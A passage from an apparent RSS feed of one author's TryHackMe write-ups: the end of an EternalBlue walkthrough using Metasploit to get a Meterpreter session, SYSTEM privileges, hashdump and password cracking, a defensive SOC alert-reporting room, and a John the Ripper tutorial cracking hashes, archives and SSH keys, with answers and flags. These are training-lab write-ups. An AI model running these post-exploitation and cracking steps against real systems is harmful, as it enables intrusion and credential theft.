meterpreter?</p><h3>Answer</h3><p><strong>post/multi/manage/shell_to_meterpreter</strong></p><h3>Step 1 — Use the Module</h3><pre>use post/multi/manage/shell_to_meterpreter</pre><p>Check options:</p><pre>show options</pre><h3>Question</h3><p>Which option must be configured?</p><h3>Answer</h3><p><strong>SESSION</strong></p><h3>Step 2 — List Active Sessions</h3><pre>sessions -l</pre><p>This command lists all active sessions.</p><h3>Step 3 — Set the Session</h3><p>Example:</p><pre>set SESSION 1</pre><p>Run the module:</p><pre>run</pre><h3>Step 4 — Interact With the Meterpreter Session</h3><pre>sessions -i 1</pre><p>Now we have a <strong>Meterpreter shell</strong>.</p><h3>Step 5 — Verify SYSTEM Privileges</h3><pre>getsystem</pre><p>Open a system shell:</p><pre>shell</pre><p>Check the user:</p><pre>whoami</pre><p>Expected output:</p><pre>nt authority\\system</pre><p>This confirms we have <strong>SYSTEM‑level access</strong>.</p><h3>Step 6 — Process Migration</h3><p>List running processes:</p><pre>ps</pre><p>Find a process running as:</p><pre>NT AUTHORITY\\SYSTEM</pre><p>Note the <strong>PID</strong>.</p><p>Then migrate to that process:</p><pre>migrate &lt;process_id&gt;</pre><h3>Task 4 — Password Cracking</h3><h3>Task Explanation</h3><p>With SYSTEM privileges we can dump password hashes stored on the machine.</p><h3>Step 1 — Dump Hashes</h3><pre>hashdump</pre><p>This shows user accounts and password hashes.</p><h3>Question</h3><p>What is the non‑default user?</p><h3>Answer</h3><p><strong>Jon</strong></p><h3>Step 2 — Crack the Password</h3><p>Save the hash:</p><pre>echo &quot;HASH_VALUE&quot; &gt; hash.txt</pre><p>Crack it using John the Ripper:</p><pre>john --format=nt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt</pre><h3>Cracked Password</h3><p><strong>alqfna22</strong></p><h3>Task 5 — Find the Flags</h3><p>These flags represent important locations inside a Windows system.</p><h3>Flag 1 — System Root</h3><p>Navigate to the root directory:</p><pre>cd ..<br>cd ..<br>dir</pre><p>Read the flag:</p><pre>cat flag1.txt</pre><h3>Flag</h3><p><strong>flag{access_the_machine}</strong></p><h3>Flag 2 — Windows Password Storage</h3><p>Navigate to the SAM database location:</p><pre>cd C:\\Windows\\System32\\Config</pre><p>Read the flag:</p><pre>cat flag2.txt</pre><h3>Flag</h3><p><strong>flag{sam_database_elevated_access}</strong></p><h3>Flag 3 — Administrator Files</h3><p>Navigate to the user’s documents:</p><pre>cd C:\\Users<br>cd Jon<br>cd Documents</pre><p>Read the flag:</p><pre>cat flag3.txt</pre><h3>Flag</h3><p><strong>flag{admin_documents_can_be_valuable}</strong></p><h3>Tools Used</h3><p>ToolPurposeNmapDiscover open ports and servicesMetasploitExploit EternalBlue vulnerabilityMeterpreterPost‑exploitation controlJohn the RipperCrack password hashes</p><h3>Conclusion</h3><p>In this room we successfully exploited the <strong>MS17‑010 EternalBlue vulnerability</strong> to compromise a Windows machine. We scanned the target, exploited it using Metasploit, upgraded our shell, gained SYSTEM privileges, dumped password hashes, cracked a user password, and located sensitive files.</p><p>This lab demonstrates a <strong>realistic Windows attack chain used in real‑world incidents</strong>.</p><p><strong>Happy hacking!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e0822627abe7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SOC L1 Alert Reporting — Write-up]]></title>
            <link>https://medium.com/@divyanshurds.kumar/soc-l1-alert-reporting-write-up-3f2a92275afb?source=rss-208ddea23d88------2</link>
            <guid isPermaLink="false">https://medium.com/p/3f2a92275afb</guid>
            <dc:creator><![CDATA[Divyanshu Kumar]]></dc:creator>
            <pubDate>Fri, 13 Feb 2026 17:18:02 GMT</pubDate>
            <atom:updated>2026-02-13T17:18:02.109Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Whq8Bbwl5mYYlBp47iWrIg.png" /></figure><p><strong>TryHackMe | SOC Level 1 | Alert Reporting, Escalation &amp; Communication</strong></p><h3>Introduction</h3><p>This room focuses on how a SOC L1 analyst should handle alerts after initial triage. The objective is to learn how to properly <strong>report alerts, escalate suspicious activity to L2 analysts, and communicate findings clearly</strong>.</p><p>In real SOC environments, L1 analysts are responsible for:</p><ul><li>Reviewing alerts and identifying red flags</li><li>Writing structured analyst comments</li><li>Escalating incidents to L2 when deeper investigation is required</li><li>Following proper communication flow during critical incidents</li></ul><p>This room simulates real SOC workflows and decision-making.</p><h3>Task 1 — Understanding SOC Terminology</h3><p><strong>Task Explanation:</strong><br> This task ensures that you understand the basic SOC terms used during incident handling. Knowing the difference between reporting and escalation is important because each step has a different purpose in the SOC workflow.</p><p><strong>Question:</strong> What is the process of passing suspicious alerts to an L2 analyst for review?<br> <strong>Answer:</strong> Alert Escalation</p><p><strong>Question:</strong> What is the process of formally describing alert details and findings?<br> <strong>Answer:</strong> Alert Reporting</p><h3>Task 3 — SOC Dashboard Investigation</h3><p><strong>Task Explanation:</strong><br> In this task, you analyze alerts in the SOC dashboard to identify data leaks and phishing activity. The goal is to extract important details from alerts and understand what happened before taking action.</p><h3>Step 1 — Identify the user involved in data leakage</h3><p>The SOC dashboard shows an alert related to a sensitive document leak. The objective is to identify which user account was responsible.</p><p><strong>Question:</strong> According to the SOC dashboard, which user email leaked the sensitive document?<br> <strong>Answer:</strong> m.boslan@tryhackme.thm</p><h3>Step 2 — Identify the sender of the phishing email</h3><p>This alert involves a suspicious email impersonating Microsoft Support. The task is to analyze sender details and authentication results to confirm phishing.</p><p><strong>Question:</strong> Looking at the new alerts, who is the sender of the suspicious, likely phishing email?<br> <strong>Answer:</strong> support@microsoft.com</p><h3>Task 3 — Writing the Five Ws Alert Report</h3><p><strong>Task Explanation:</strong><br> This task focuses on writing a proper analyst comment using the Five Ws method. This helps L2 analysts quickly understand the incident without re-investigating from scratch.</p><p><strong>Who:</strong><br> The sender is support@microsoft.com, which is spoofed.<br> The recipient is Eddie Huffman, IT Manager.</p><p><strong>What:</strong><br> A phishing email pretending to be Microsoft Support was delivered.</p><p><strong>When:</strong><br> The alert was detected post-delivery by the SOC system.</p><p><strong>Where:</strong><br> The email was delivered to the corporate mailbox.</p><p><strong>Why:</strong><br> SPF and DKIM checks failed, indicating the sender is not authorized.<br> The email used urgent language and social engineering techniques.</p><p><strong>Flag Received:</strong><br> THM{nice_attempt_faking_microsoft_support}</p><h3>Task 4 — Alert Escalation</h3><p><strong>Task Explanation:</strong><br> This task demonstrates how to escalate suspicious alerts to an L2 analyst. Escalation ensures deeper investigation and faster response to potential incidents.</p><p><strong>Question:</strong> Who is your current L2 in the SOC dashboard that you can assign the alerts to?<br> <strong>Answer:</strong> E.Fleming</p><p>After escalating the alert and saving the case, the following flag is received:</p><p><strong>Flag Received:</strong><br> THM{good_job_escalating_your_first_alert}</p><h3>Task 4 — Second Alert Investigation</h3><p><strong>Task Explanation:</strong><br> In this task, you investigate another alert to decide whether escalation is required. The focus is on identifying post-exploitation activity and infrastructure weaknesses.</p><p><strong>Findings:</strong></p><ul><li>Suspicious activity linked to an old Exchange server</li><li>Behavior consistent with webshell access</li><li>High risk due to outdated server</li></ul><p><strong>Flag Received:</strong><br> THM{looks_like_webshell_via_old_exchange}</p><h3>Task 5 — SOC Communication Best Practices</h3><p><strong>Task Explanation:</strong><br> This task tests decision-making during critical incidents. The goal is to follow proper SOC communication flow and avoid bypassing escalation procedures.</p><p><strong>Question:</strong> Should you first try to contact your manager in case of a critical threat?<br> <strong>Answer:</strong> Nay</p><p><strong>Question:</strong> Should you immediately contact your L2 if you think you missed the attack?<br> <strong>Answer:</strong> Yea</p><h3>Conclusion</h3><p>This room highlights the importance of structured reporting, proper escalation, and clear communication in SOC operations. These skills reduce investigation time for senior analysts and improve incident response efficiency in real environments.</p><p><strong>Happy hacking!</strong></p><figure><img alt="t" src="https://cdn-images-1.medium.com/max/737/1*CFcMdLV3Kj0t_Pt6p6_Lvw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3f2a92275afb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ John the Ripper — Basics (TryHackMe) | Full CTF Walkthrough]]></title>
            <link>https://medium.com/@divyanshurds.kumar/john-the-ripper-basics-tryhackme-full-ctf-walkthrough-af1546874b7d?source=rss-208ddea23d88------2</link>
            <guid isPermaLink="false">https://medium.com/p/af1546874b7d</guid>
            <dc:creator><![CDATA[Divyanshu Kumar]]></dc:creator>
            <pubDate>Sun, 08 Feb 2026 11:47:46 GMT</pubDate>
            <atom:updated>2026-02-08T11:47:46.264Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><strong><em>Short motivational intro:</em></strong><em><br>Cracking hashes is one of those skills that turns “random strings” into real access. In this room, we weaponize </em><strong><em>John the Ripper (Jumbo)</em></strong><em> + </em><strong><em>rockyou.txt</em></strong><em> to break hashes, archives, and even SSH keys. If you’re prepping for SOC, blue team, red team, or CTFs — this is a must-have muscle. Let’s get cracking. 😈</em></blockquote><h3>🧠 Task 2 — Basic Terms (Quick Context)</h3><p><strong>What are hashes?</strong><br>A hash converts data of any length into a fixed-length value (e.g., MD5, SHA1, SHA256, NTLM). It’s one-way by design.</p><p><strong>Why cracking works anyway?</strong><br>We can’t reverse hashes, but we can <strong>rehash guesses</strong> from a wordlist and compare. That’s a <strong>dictionary attack</strong>.</p><p><strong>Tooling:</strong></p><ul><li>🛠️ <strong>John the Ripper (Jumbo)</strong> — extended version with helpers like zip2john, rar2john, ssh2john.</li><li>📚 <strong>rockyou.txt</strong> — leaked passwords from rockyou.com (2009 breach).</li></ul><p><strong>✅ Answer Highlights</strong></p><ul><li>Most popular extended version: <strong>Jumbo John</strong></li><li>rockyou.txt source: <strong>rockyou.com</strong></li></ul><h3>⚙️ Setup (One-Time)</h3><p>If you’re on AttackBox/Kali → Jumbo John is preinstalled.</p><p><strong>Verify install:</strong></p><pre>john</pre><blockquote><em>You should see something like </em><em>John the Ripper 1.9.0-jumbo-1</em></blockquote><p><strong>Wordlist path:</strong></p><ul><li>/usr/share/wordlists/rockyou.txt</li></ul><h3>🔐 Task 4 — Cracking Basic Hashes</h3><h3>🧪 Method</h3><ol><li>Identify hash (auto or with hash-identifier)</li><li>Crack using wordlist</li></ol><p><strong>Auto-detect (quick &amp; dirty):</strong></p><pre>john --wordlist=/usr/share/wordlists/rockyou.txt hash_to_crack.txt</pre><p><strong>Format-specific (more reliable):</strong></p><pre>john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash1.txt</pre><p><strong>✅ Results</strong></p><ul><li>hash1 → <strong>md5</strong> → <strong>biscuit</strong></li><li>hash2 → <strong>sha1</strong> → <strong>kangeroo</strong></li><li>hash3 → <strong>sha256</strong> → <strong>microphone</strong></li><li>hash4 → <strong>whirlpool</strong> → <strong>colossal</strong></li></ul><h3>🪟 Task 5 — NTLM / NTHash (Windows Hashes)</h3><p>Windows stores password hashes as <strong>NTLM</strong> in SAM/NTDS.</p><p><strong>Command:</strong></p><pre>john --format=nt --wordlist=/usr/share/wordlists/rockyou.txt ntlm.txt</pre><p><strong>✅ Results</strong></p><ul><li>Format: <strong>nt</strong></li><li>Password: <strong>mushroom</strong></li></ul><blockquote><em>💡 Pro tip: Sometimes you don’t even need to crack NTLM — </em><strong><em>Pass-the-Hash</em></strong><em> can work.</em></blockquote><h3>🧩 Task 7 — Single Crack Mode (Username-Aware Attacks)</h3><p>John can mangle based on usernames (e.g., Joker → Jok3r).</p><p><strong>File format required:</strong></p><pre>username:hash</pre><p><strong>Command:</strong></p><pre>john --single --format=raw-sha256 hashes.txt</pre><p><strong>✅ Result</strong></p><ul><li>Joker’s password: <strong>Jok3r</strong></li></ul><h3>🧬 Custom Rules — Exploiting Password Patterns</h3><p>People follow patterns like: Capital + word + number + symbol</p><p><strong>Rule example (john.conf):</strong></p><pre>[List.Rules:THMRules]<br>cAz&quot;[0-9] [!£$%@]&quot;</pre><p><strong>Run with:</strong></p><pre>john --wordlist=/usr/share/wordlists/rockyou.txt --rule=THMRules hashes.txt</pre><p><strong>✅ Answers</strong></p><ul><li>Exploit: <strong>Password complexity predictability</strong></li><li>Add capitals to end: <strong>Az”[A-Z]</strong></li><li>Call rule flag: <strong>— rule=THMRules</strong></li></ul><h3>📦 Task 9 — Zip Files (zip2john)</h3><p><strong>Extract hash:</strong></p><pre>zip2john secure.zip &gt; zip_hash.txt</pre><p><strong>Crack:</strong></p><pre>john --wordlist=/usr/share/wordlists/rockyou.txt zip_hash.txt</pre><p><strong>✅ Results</strong></p><ul><li>Password: <strong>pass123</strong></li><li>Flag: <strong>THM{w3ll_d0n3_h4sh_r0y4l}</strong></li></ul><h3>🗜️ Task 10 — RAR Files (rar2john)</h3><p><strong>Extract hash:</strong></p><pre>/opt/john/rar2john secure.rar &gt; rar_hash.txt</pre><p><strong>Crack:</strong></p><pre>john --wordlist=/usr/share/wordlists/rockyou.txt rar_hash.txt</pre><p><strong>✅ Results</strong></p><ul><li>Password: <strong>password</strong></li><li>Flag: <strong>THM{r4r_4rch1ve5_th15_t1m3}</strong></li></ul><h3>🔑 Task 11 — SSH Private Key (ssh2john)</h3><p><strong>Convert key → hash:</strong></p><pre>python3 /opt/john/ssh2john.py id_rsa &gt; id_rsa_hash.txt</pre><p><strong>Crack:</strong></p><pre>john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_hash.txt</pre><p><strong>✅ Result</strong></p><ul><li>SSH key password: <strong>mango</strong></li></ul><h3>🧰 Tools Recap</h3><p>Tool Purpose johnCore cracking enginerockyou.txtDictionary for brute-forcezip2johnConvert ZIP → crackable hashrar2johnConvert RAR → crackable hashssh2johnConvert SSH key → crackable hashhash-identifierGuess hash formats</p><h3>🎯 Key Takeaways</h3><ul><li>Always <strong>identify hash formats</strong> before cracking</li><li>Use <strong>format-specific flags</strong> for reliability</li><li><strong>Single mode + custom rules</strong> = huge speedups</li><li>Archives &amp; SSH keys are fair game with John’s helpers</li></ul><h3>🏁 Final Thoughts</h3><p>This room builds real-world muscle: hashes, Windows creds, archives, SSH keys — the whole starter pack. If you’re serious about SOC, pentesting, or CTFs, mastering John is non-negotiable.</p><p><strong>Happy hacking! 🚀</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JtJOv4LzzmgWUi5gcQ3wFg.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=af1546874b7d" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>